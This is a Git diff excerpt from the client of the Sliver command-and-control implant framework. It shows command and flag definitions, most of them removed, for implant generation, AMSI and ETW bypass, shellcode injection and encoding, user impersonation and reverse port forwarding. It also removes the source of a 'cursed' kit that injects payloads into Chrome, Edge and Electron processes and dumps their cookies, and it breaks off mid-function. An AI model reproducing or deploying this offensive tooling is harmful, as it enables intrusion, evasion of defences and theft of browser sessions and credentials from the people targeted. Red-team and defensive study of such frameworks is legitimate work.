"github.com/jedib0t/go-pretty/v6/table"
)
// BuildersCmd - List external builders
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if len(builders.Builders) == 0 {
con.PrintInfof("No external builders connected to server\n")
} else {
PrintBuilders(builders.Builders, con)
}
}
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
})
for _, builder := range externalBuilders {
targets := []string{}
for _, target := range builder.Targets {
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
}
row := table.Row{
builder.Name,
builder.OperatorName,
strings.Join(builder.Templates, ", "),
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
strings.Join(targets, "\n"),
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
}
+8 -347
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same parameter,
* Try to reuse the same short/long flags for the same paramenter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,9 +41,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -67,12 +65,10 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
@@ -458,7 +454,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -483,9 +478,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -521,6 +514,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -720,28 +714,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -903,9 +875,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -1016,33 +985,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Shellcode Encoders ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ShikataGaNai,
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
Args: func(a *grumble.Args) {
a.String("shellcode", "binary shellcode file path")
},
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save output to local file")
f.String("a", "arch", "amd64", "architecture of shellcode")
f.Int("i", "iterations", 1, "number of iterations")
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sgn.ShikataGaNaiCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Exec ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -1058,7 +1000,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1089,15 +1030,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1128,9 +1063,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1144,13 +1076,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1179,8 +1108,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the DLL file")
@@ -1209,8 +1136,6 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1271,7 +1196,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("d", "service-description", "Sliver implant", "description of the service")
f.String("p", "profile", "", "profile to use for service binary")
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1300,9 +1224,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("P", "password", "", "SSH user password")
f.String("l", "login", "", "username to use to connect")
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
f.String("r", "kerberos-realm", "", "Kerberos realm")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1324,11 +1245,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1354,7 +1272,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1385,11 +1302,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1415,7 +1329,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1512,7 +1425,6 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "directory/file to the binary to")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1543,11 +1455,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -1561,8 +1471,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.String("I", "template", "sliver", "implant code template")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1572,7 +1480,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1602,7 +1509,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
// Generate flags
f.String("o", "os", "windows", "operating system")
@@ -1614,7 +1520,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -1628,8 +1533,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("I", "template", "sliver", "implant code template")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1639,7 +1542,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1970,7 +1872,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
f.Bool("l", "listen", false, "display information about listening sockets")
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverHelpGroup,
@@ -1989,7 +1890,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "print-cmdline", false, "print command line arguments")
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.Bool("T", "tree", false, "print process tree")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2052,14 +1952,9 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Run a new process in the context of the designated user (Windows Only)",
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
Flags: func(f *grumble.Flags) {
f.String("u", "username", "", "user to impersonate")
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
f.String("p", "process", "", "process to start")
f.String("a", "args", "", "arguments for the process")
f.String("d", "domain", "", "domain of the user")
f.String("P", "password", "", "password of the user")
f.Bool("s", "show-window", false, `
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
f.Bool("n", "net-only", false, "use ")
f.Int("t", "timeout", 30, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2131,7 +2026,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("u", "username", "", "username of the user to impersonate")
f.String("p", "password", "", "password of the user to impersonate")
f.String("d", "domain", "", "domain of the user to impersonate")
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -2565,59 +2459,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -3402,7 +3243,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
@@ -3410,186 +3251,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
// [ Builders ] ---------------------------------------------
buildersCmd := &grumble.Command{
Name: consts.BuildersStr,
Help: "List external builders",
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
builders.BuildersCmd(ctx, con)
con.Println()
return nil
},
}
con.App.AddCommand(buildersCmd)
}
-3
View File
@@ -1,3 +0,0 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
-435
View File
@@ -1,435 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
